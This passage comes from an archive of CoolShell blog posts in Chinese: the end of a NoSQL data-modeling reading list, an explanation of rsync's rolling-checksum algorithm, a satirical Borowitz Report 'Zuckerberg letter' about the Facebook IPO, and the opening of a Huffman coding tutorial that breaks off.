href=\"http://www.slideshare.net/mattdennis/cassandra-data-modeling\">http://www.slideshare.net/mattdennis/cassandra-data-modeling</a></li>\n<li><a href=\"http://nosql.mypopescu.com/post/17419074362/cassandra-data-modeling-examples-with-matthew-f-dennis\">http://nosql.mypopescu.com/post/17419074362/cassandra-data-modeling-examples-with-matthew-f-dennis</a></li>\n<li><a href=\"http://s-expressions.com/2009/03/08/hbase-on-designing-schemas-for-column-oriented-data-stores/\">http://s-expressions.com/2009/03/08/hbase-on-designing-schemas-for-column-oriented-data-stores/</a></li>\n<li><a href=\"http://jimbojw.com/wiki/index.php?title=Understanding_Hbase_and_BigTable\">http://jimbojw.com/wiki/index.php?title=Understanding_Hbase_and_BigTable</a></li>\n</ol>\n</li>\n<li>Document Databases:\n<ol>\n<li><a href=\"http://www.slideshare.net/mongodb/mongodb-schema-design-richard-kreuters-mongo-berlin-preso\">http://www.slideshare.net/mongodb/mongodb-schema-design-richard-kreuters-mongo-berlin-preso</a></li>\n<li><a href=\"http://www.michaelhamrah.com/blog/2011/08/data-modeling-at-scale-mongodb-mongoid-callbacks-and-denormalizing-data-for-efficiency/\">http://www.michaelhamrah.com/blog/2011/08/data-modeling-at-scale-mongodb-mongoid-callbacks-and-denormalizing-data-for-efficiency/</a></li>\n<li><a href=\"http://seancribbs.com/tech/2009/09/28/modeling-a-tree-in-a-document-database/\">http://seancribbs.com/tech/2009/09/28/modeling-a-tree-in-a-document-database/</a></li>\n<li><a href=\"http://www.mongodb.org/display/DOCS/Schema+Design\">http://www.mongodb.org/display/DOCS/Schema+Design</a></li>\n<li><a href=\"http://www.mongodb.org/display/DOCS/Trees+in+MongoDB\">http://www.mongodb.org/display/DOCS/Trees+in+MongoDB</a></li>\n<li><a href=\"http://blog.fiesta.cc/post/11319522700/walkthrough-mongodb-data-modeling\">http://blog.fiesta.cc/post/11319522700/walkthrough-mongodb-data-modeling</a></li>\n</ol>\n</li>\n<li>Full Text Search Engines:\n<ol>\n<li><a href=\"http://www.searchworkings.org/blog/-/blogs/query-time-joining-in-lucene\">http://www.searchworkings.org/blog/-/blogs/query-time-joining-in-lucene</a></li>\n<li><a href=\"http://www.lucidimagination.com/devzone/technical-articles/solr-and-rdbms-basics-designing-your-application-best-both\">http://www.lucidimagination.com/devzone/technical-articles/solr-and-rdbms-basics-designing-your-application-best-both</a></li>\n<li><a href=\"http://blog.griddynamics.com/2011/07/solr-experience-search-parent-child.html\">http://blog.griddynamics.com/2011/07/solr-experience-search-parent-child.html</a></li>\n<li><a href=\"http://www.lucidimagination.com/blog/2009/07/18/the-spanquery/\">http://www.lucidimagination.com/blog/2009/07/18/the-spanquery/</a></li>\n<li><a href=\"http://blog.mgm-tp.com/2011/03/non-standard-ways-of-using-lucene/\">http://blog.mgm-tp.com/2011/03/non-standard-ways-of-using-lucene/</a></li>\n<li><a href=\"http://www.slideshare.net/MarkHarwood/proposal-for-nested-document-support-in-lucene\">http://www.slideshare.net/MarkHarwood/proposal-for-nested-document-support-in-lucene</a></li>\n<li><a href=\"http://mysolr.com/tips/denormalized-data-structure/\">http://mysolr.com/tips/denormalized-data-structure/</a></li>\n<li><a href=\"http://sujitpal.blogspot.com/2010/10/denormalizing-maps-with-lucene-payloads.html\">http://sujitpal.blogspot.com/2010/10/denormalizing-maps-with-lucene-payloads.html</a></li>\n<li><a href=\"http://java.dzone.com/articles/hibernate-search-mapping-entit\">http://java.dzone.com/articles/hibernate-search-mapping-entit</a></li>\n</ol>\n</li>\n<li>Graph Databases:\n<ol>\n<li><a href=\"http://docs.neo4j.org/chunked/stable/tutorial-comparing-models.html\">http://docs.neo4j.org/chunked/stable/tutorial-comparing-models.html</a></li>\n<li><a href=\"http://blog.neo4j.org/2010/03/modeling-categories-in-graph-database.html\">http://blog.neo4j.org/2010/03/modeling-categories-in-graph-database.html</a></li>\n<li><a href=\"http://skillsmatter.com/podcast/nosql/graph-modelling\">http://skillsmatter.com/podcast/nosql/graph-modelling</a></li>\n<li><a href=\"http://www.umiacs.umd.edu/%7Ejimmylin/publications/Lin_Schatz_MLG2010.pdf\">http://www.umiacs.umd.edu/~jimmylin/publications/Lin_Schatz_MLG2010.pdf</a></li>\n</ol>\n</li>\n<li>Demensionality Reduction:\n<ol>\n<li><a href=\"http://www.slideshare.net/mmalone/scaling-gis-data-in-nonrelational-data-stores\">http://www.slideshare.net/mmalone/scaling-gis-data-in-nonrelational-data-stores</a></li>\n<li><a href=\"http://blog.notdot.net/2009/11/Damn-Cool-Algorithms-Spatial-indexing-with-Quadtrees-and-Hilbert-Curves\">http://blog.notdot.net/2009/11/Damn-Cool-Algorithms-Spatial-indexing-with-Quadtrees-and-Hilbert-Curves</a></li>\n<li><a href=\"http://www.trisis.co.uk/blog/?p=1287\">http://www.trisis.co.uk/blog/?p=1287</a></li>\n</ol>\n</li>\n</ol>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1889.html\"><img alt=\"SQL的Where语句\" height=\"150\" src=\"../wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1889.html\">SQL的Where语句</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5826.html\"><img alt=\"千万别用MongoDB？真的吗？！\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5826.html\">千万别用MongoDB？真的吗？！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7270.html\">NoSQL 数据建模技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-5-17 rsync 的核心算法.html",
    "content": "<html><body><p><a href=\"http://en.wikipedia.org/wiki/Rsync\" rel=\"noopener noreferrer\" target=\"_blank\">rsync</a>是unix/linux下同步文件的一个高效算法，它能同步更新两处计算机的文件与目录，并适当利用查找文件中的不同块以减少数据传输。rsync中一项与其他大部分类似程序或协定中所未见的重要特性是镜像是只对有变更的部分进行传送。rsync可拷贝／显示目录属性，以及拷贝文件，并可选择性的压缩以及递归拷贝。rsync利用由<a href=\"http://en.wikipedia.org/wiki/Andrew_Tridgell\" rel=\"noopener noreferrer\" target=\"_blank\">Andrew Tridgell</a>发明的算法。这里不介绍其使用方法，只介绍其核心算法。我们可以看到，Unix下的东西，一个命令，一个工具都有很多很精妙的东西，怎么学也学不完，这就是<a href=\"https://coolshell.cn/articles/2322.html\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"Unix传奇(上篇)\">Unix的文化</a>啊。</p>\n<p>本来不想写这篇文章的，因为原先发现有很多中文blog都说了这个算法，但是看了一下，发现这些中文blog要么翻译国外文章翻译地非常烂，要么就是介绍这个算法介绍得很乱让人看不懂，还有错误，误人不浅，所以让我觉得有必要写篇rsync算法介绍的文章。（当然，我成文比较仓促，可能会有一些错误，请指正）</p>\n<h4>问题</h4>\n<p>首先， 我们先来想一下rsync要解决的问题，如果我们要同步的文件只想传不同的部分，我们就需要对两边的文件做diff，但是这两个问题在两台不同的机器上，无法做diff。如果我们做diff，就要把一个文件传到另一台机器上做diff，但这样一来，我们就传了整个文件，这与我们只想传输不同部的初衷相背。</p>\n<p>于是我们就要想一个办法，让这两边的文件见不到面，但还能知道它们间有什么不同。这就出现了rsync的算法。</p>\n<h4>算法</h4>\n<p>rsync的算法如下：（<strong>假设我们同步源文件名为fileSrc，同步目的文件叫fileDst</strong>）</p>\n<p><span id=\"more-7425\"></span></p>\n<p>1）<strong>分块Checksum算法</strong>。首先，我们会把fileDst的文件平均切分成若干个小块，比如每块512个字节（最后一块会小于这个数），然后对每块计算两个checksum，</p>\n<ul>\n<li>一个叫<a href=\"http://en.wikipedia.org/wiki/Rolling_hash\" rel=\"noopener noreferrer\" target=\"_blank\">rolling checksum</a>，是弱checksum，32位的checksum，其使用的是Mark Adler发明的<a href=\"http://en.wikipedia.org/wiki/Adler-32\" title=\"Adler-32\">adler-32</a>算法，</li>\n<li>另一个是强checksum，128位的，以前用md4，现在用md5 hash算法。</li>\n</ul>\n<p>为什么要这样？因为若干年前的硬件上跑md4的算法太慢了，所以，我们需要一个快算法来鉴别文件块的不同，但是弱的adler32算法碰撞概率太高了，所以我们还要引入强的checksum算法以保证两文件块是相同的。<strong>也就是说，弱的checksum是用来区别不同，而强的是用来确认相同</strong>。（checksum的具体公式可以参看<a href=\"http://rsync.samba.org/tech_report/node3.html\" rel=\"noopener noreferrer\" target=\"_blank\">这篇文章</a>）</p>\n<p>2）<strong>传输算法。</strong>同步目标端会把fileDst的一个checksum列表传给同步源，这个列表里包括了三个东西，<strong>rolling checksum(32bits)</strong>，<strong>md5 checksume(128bits)</strong>，<strong>文件块编号</strong>。</p>\n<p>我估计你猜到了同步源机器拿到了这个列表后，会对fileSrc做同样的checksum，然后和fileDst的checksum做对比，这样就知道哪些文件块改变了。</p>\n<p>但是，聪明的你一定会有以下两个疑问：</p>\n<ul>\n<li>如果我fileSrc这边在文件中间加了一个字符，这样后面的文件块都会位移一个字符，这样就完全和fileDst这边的不一样了，但理论上来说，我应该只需要传一个字符就好了。这个怎么解决？</li>\n</ul>\n<ul>\n<li>如果这个checksum列表特别长，而我的两边的相同的文件块可能并不是一样的顺序，那就需要查找，线性的查找起来应该特别慢吧。这个怎么解决？</li>\n</ul>\n<p>很好，让我们来看一下同步源端的算法。</p>\n<p>3）<strong>checksum查找算法</strong>。同步源端拿到fileDst的checksum数组后，会把这个数据存到一个hash table中，用rolling checksum做hash，以便获得O(1)时间复杂度的查找性能。这个hash table是16bits的，所以，hash table的尺寸是2的16次方，对rolling checksum的hash会被散列到0 到 2^16 – 1中的某个整数值。（对于hash table，如果你不清楚，建议回去看大学时的数据结构教科书）</p>\n<p>顺便说一下，我在网上看到很多文章说，“要对rolling checksum做排序”（比如<a href=\"http://www.yejun.cn/?p=472\" rel=\"noopener noreferrer\" target=\"_blank\">这篇</a>和<a href=\"http://blog.csdn.net/tobeandnottobe/article/details/6719848\" rel=\"noopener noreferrer\" target=\"_blank\">这篇</a>），这两篇文章都引用并翻译了<a href=\"http://rsync.samba.org/tech_report/node4.html\" rel=\"noopener noreferrer\" target=\"_blank\">原作者的这篇文章</a>，但是他们都理解错了，不是排序，就只是把fileDst的checksum数据，按rolling checksum做存到2^16的hash table中，当然会发生碰撞，把碰撞的做成一个链表就好了。这就是<a href=\"http://rsync.samba.org/tech_report/node4.html\" rel=\"noopener noreferrer\" target=\"_blank\">原文</a>中所说的第二步——搜索有碰撞的情况。</p>\n<p>4）<strong>比对算法</strong>。这是最关键的算法，细节如下：</p>\n<p style=\"padding-left: 30px;\">4.1）取fileSrc的第一个文件块（我们假设的是512个长度），也就是从fileSrc的第1个字节到第512个字节，取出来后做rolling checksum计算。计算好的值到hash表中查。</p>\n<p style=\"padding-left: 30px;\">4.2）如果查到了，说明发现在fileDst中有潜在相同的文件块，于是就再比较md5的checksum，因为rolling checksume太弱了，可能发生碰撞。于是还要算md5的128bits的checksum，这样一来，我们就有 2^-(32+128) = 2^-160的概率发生碰撞，这太小了可以忽略。<strong>如果rolling checksum和md5 checksum都相同，这说明在fileDst中有相同的块，我们需要记下这一块在fileDst下的文件编号</strong>。</p>\n<p style=\"padding-left: 30px;\">4.3）如果fileSrc的rolling checksum 没有在hash table中找到，那就不用算md5 checksum了。表示这一块中有不同的信息。总之，只要rolling checksum 或 md5 checksum 其中有一个在fileDst的checksum hash表中找不到匹配项，那么就会触发算法对fileSrc的rolling动作。于是，<strong>算法会住后step 1个字节，取fileSrc中字节2-513的文件块要做checksum，go to (4.1) </strong>– 现在你明白什么叫rolling checksum了吧。</p>\n<p style=\"padding-left: 30px;\">4.4）这样，我们就可以找出fileSrc相邻两次匹配中的那些文本字符，这些就是我们要往同步目标端传的文件内容了。</p>\n<h4 class=\"p1\"><b>rolling checksum算法</b></h4>\n<p class=\"p1\">这个算法很简单，也叫<a href=\"https://en.wikipedia.org/wiki/Rabin%E2%80%93Karp_string_search_algorithm\" rel=\"noopener noreferrer\" target=\"_blank\">Rabin-Karp 算法</a>，由 Richard M. Karp 和 Michael O. Rabin 在 1987 年发表，它也是用来解决多模式串匹配问题的。其最大的精髓是，当我们往后面step 1个字符的时候，不用全部重新计算所有的checksum，也就是说，我们从 [0, 512] rolling 到 [1, 513] 时，我们不需要重新计算从1到513的checksum，而是重用 [0，512]的checksum直接算出来。</p>\n<p class=\"p1\">这个算法比较简单，我举个例子，我们有一个数字：12345678，假设我们以5个长度作为一个块，那么，第一个块就是 12345 ，12345可以表示为：</p>\n<p><code class=\"EnlighterJSRAW\"> 1 * 10^4 + 2 * 10^3 + 3 * 10^2 + 4 * 10^1 + 5 * 10^0 = 12345 </code></p>\n<p class=\"p1\">如果我们要step 1步，也就是要得到 23456， 我们不必计算：</p>\n<p><code class=\"EnlighterJSRAW\">2 * 10^4 + 3 * 10^3 + 4 * 10^2 + 5 * 10^1 + 6 * 10^0</code></p>\n<p class=\"p1\">而是直接计算：</p>\n<p><code class=\"EnlighterJSRAW\">(12345 - 1 * 10^4) * 10 + 6 * 10 ^0</code></p>\n<p class=\"p1\">我们可以看到，其中，我们把12345最左边第一位去掉，然后，再加上最右边的一位。这就是Rolling checksum的算法。</p>\n<p class=\"p1\">实际的公式是：</p>\n<p><code class=\"EnlighterJSRAW\">hash ( t[0, m-1] ) = t[0] * b^(m-1) + t[1] * b^[m-2] ..... t[m-1] * b^0</code></p>\n<p class=\"p1\">其中的 b是一个常数基数，在 Rabin-Karp 算法中，我们一般取值为  256。</p>\n<p class=\"p1\">于是，在计算 hash ( t[1, m] ) 时，只需要下面这样就可以了：</p>\n<p><code class=\"EnlighterJSRAW\">hash( t[1, m] ) = hash ( t[0, m-1] ) - t[0] * b^(m-1)  + t[m] * b ^0</code></p>\n<h4>图示</h4>\n<p>怎么，你没看懂？ 好吧，我送佛送上西，画个示意图给你看看（对图中的东西我就不再解释了）。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7428\" height=\"463\" src=\"../wp-content/uploads/2012/05/rsync-algorithm.jpg\" title=\"rsync algorithm\" width=\"650\"/></p>\n<p>这样，最终，在同步源这端，我们的rsync算法可能会得到下面这个样子的一个数据数组，图中，红色块表示在目标端已匹配上，不用传输（注：我专门在其中显示了两块chunk #5，相信你会懂的），而白色的地方就是需要传输的内容（注意：这些白色的块是不定长的），这样，同步源这端把这个数组（白色的就是实际内容，红色的就放一个标号）压缩传到目的端，在目的端的rsync会根据这个表重新生成文件，这样，同步完成。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7427\" height=\"82\" src=\"../wp-content/uploads/2012/05/rsync-algorithm-result.jpg\" title=\"rsync algorithm result\" width=\"606\"/></p>\n<p>最后想说一下，对于某些压缩文件使用rsync传输可能会传得更多，因为被压缩后的文件可能会非常的不同。对此，对于gzip和bzip2这样的命令，记得开启 “rsyncalbe” 模式。</p>\n<p>（全文完，<strong>转载时请注明作者和出处</strong>）</p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7425.html\">rsync 的核心算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-5-19 扎克伯格的一封信：关于Facebook IPO.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignleft\" id=\"ImageStory\" src=\"../wp-content/uploads/zuck.jpg\"/>MENLO PARK, CA (<strong><strong><a href=\"http://www.borowitzreport.com/2012/05/17/a-letter-from-mark-zuckerberg/\" target=\"_blank\" title=\"Borowitz Report\">The Borowitz Report</a></strong></strong>) – 在Fackbook IPO前夕，Facebook的创始人兼CEO Mark Zuckerberg 给全球股民发表了封公开信：</p>\n<p>亲爱的股民们：</p>\n<p style=\"padding-left: 60px;\">    这么多年来，你们已经在Facebook上浪费了你们的时间 ，接下来，你们会得到浪费你们金钱的机会。</p>\n<p>   明天是Facebook的IPO，并且我知道你们一定在想，Facebook怎么就和2000年的.COM泡沫不一样啦？</p>\n<p>首先，我想告诉你们，以前那些糟糕的dot-com公司玩的是概念和炒作，而没有真正的商业价值。而Facebook不一样，也就是说，我们Facebook是建立在强大的以“疯狂的小鸟”和“一群想像中的羊”的基础上的。</p>\n<p>其次，Facebook是世界上最成功的社交网络，我们的用户最近才发现，这个社交网络让人们分享了数以万计别人根本不感兴趣的信息。</p>\n<p>第三，当某人点击Faceback广告的时候，我们就会挣到钱。而且我们知道，点我们广告的人都不是故意点击，成百万的人点我们的广告是因为那时他们喝醉了。我们完全从iTunes偷到这个有创意的想法。</p>\n<p>最后，如果你买我们的股票，你将永远不会孤独。据调查，在过去几年里使用facebook的全球9亿用户，他们都有轻微或中等程度的大脑损伤，这影响了他们的作正常判断的能力。所以，这些人都成为你的朋友——Facebook的股民。</p>\n<p>有了你的帮助，如果明天一切都照计划进行，Facebook IPO将会募到1000亿美金。这是个什么概念，这相当于4到5个摩根大通银行损失的钱。</p>\n<p>最后一件事：我，Mark Zuckerberg，是否会因此IPO获得180亿美金？ 也许，我正在考虑把希腊买了，但就算是这样，我还是有180亿美金。 LOL.</p>\n<p>Friend me (粉我),</p>\n<p>Mark</p>\n<div>（新闻来源：<a href=\"http://www.borowitzreport.com/2012/05/17/a-letter-from-mark-zuckerberg/\" target=\"_blank\">http://www.borowitzreport.com/2012/05/17/a-letter-from-mark-zuckerberg/</a>）</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18140.html\"><img alt=\"关于Facebook 的 React 专利许可证\" height=\"150\" src=\"../wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18140.html\">关于Facebook 的 React 专利许可证</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4549.html\"><img alt=\"Facebook 的系统架构\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4549.html\">Facebook 的系统架构</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3396.html\"><img alt=\"Facebook全球关系网\" height=\"150\" src=\"../wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3396.html\">Facebook全球关系网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1941.html\"><img alt=\"程序员的相关笑话（二）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1941.html\">程序员的相关笑话（二）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1903.html\"><img alt=\"程序员的相关笑话（一）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1903.html\">程序员的相关笑话（一）</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7448.html\">扎克伯格的一封信：关于Facebook IPO</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-5-22 Huffman 编码压缩算法.html",
    "content": "<html><body><p>前两天发布那个<a href=\"https://coolshell.cn/articles/7425.html\" target=\"_blank\" title=\"rsync 的核心算法\">rsync算法</a>后，想看看数据压缩的算法，知道一个经典的压缩算法Huffman算法。相信大家应该听说过 <a href=\"http://en.wikipedia.org/wiki/David_A._Huffman\" target=\"_blank\" title=\"David Huffman\">David Huffman</a> 和他的压缩算法—— <a href=\"http://en.wikipedia.org/wiki/Huffman_coding\" target=\"_blank\">Huffman Code</a>，一种通过字符出现频率，<a href=\"http://en.wikipedia.org/wiki/Priority_queue\" target=\"_blank\">Priority Queue</a>，和二叉树来进行的一种压缩算法，这种二叉树又叫Huffman二叉树 —— 一种带权重的树。从学校毕业很长时间的我忘了这个算法，但是网上查了一下，中文社区内好像没有把这个算法说得很清楚的文章，尤其是树的构造，而正好看到一篇国外的文章《<a href=\"http://en.nerdaholyc.com/huffman-coding-on-a-string/\" target=\"_blank\">A Simple Example of Huffman Code on a String</a>》，其中的例子浅显易懂，相当不错，我就转了过来。注意，我没有对此文完全翻译。</p>\n<p>我们直接来看示例，如果我们需要来压缩下面的字符串：</p>\n<p style=\"text-align: center;\"><strong> “beep boop beer!” </strong></p>\n<p>首先，我们先计算出每个字符出现的次数，我们得到下面这样一张表 :</p>\n<p></p><center>\n<table style=\"width: 250px; height: 200px;\">\n<tbody>\n<tr>\n<td><span style=\"font-size: 12px;\">字符</span></td>\n<td>次数</td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘b’</span></td>\n<td><span style=\"font-size: 12px;\">3</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘e’</span></td>\n<td><span style=\"font-size: 12px;\">4</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘p’</span></td>\n<td><span style=\"font-size: 12px;\">2</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘ ‘</span></td>\n<td><span style=\"font-size: 12px;\">2</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘o’</span></td>\n<td><span style=\"font-size: 12px;\">2</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘r’</span></td>\n<td><span style=\"font-size: 12px;\">1</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘!’</span></td>\n<td><span style=\"font-size: 12px;\">1</span></td>\n</tr>\n</tbody>\n</table>\n<p></p></center><br/>\n然后，我把把这些东西放到Priority Queue中（用出现的次数据当 priority），我们可以看到，Priority Queue 是以Prioirry排序一个数组，如果Priority一样，会使用出现的次序排序：下面是我们得到的Priority Queue：\n<p><span id=\"more-7459\"></span></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/coada1.png\"><img alt=\"\" class=\"alignnone size-full wp-image-234 aligncenter\" height=\"61\" src=\"../wp-content/uploads/2012/05/coada1.png\" title=\"coada1\" width=\"440\"/></a></p>\n<p>接下来就是我们的算法——把这个Priority Queue 转成二叉树。我们始终从queue的头取两个元素来构造一个二叉树（第一个元素是左结点，第二个是右结点），并把这两个元素的priority相加，并放回Priority中（再次注意，这里的Priority就是字符出现的次数），然后，我们得到下面的数据图表：</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/coada2.png\"><img alt=\"\" class=\"alignnone size-full wp-image-239\" height=\"151\" src=\"../wp-content/uploads/2012/05/coada2.png\" title=\"coada2\" 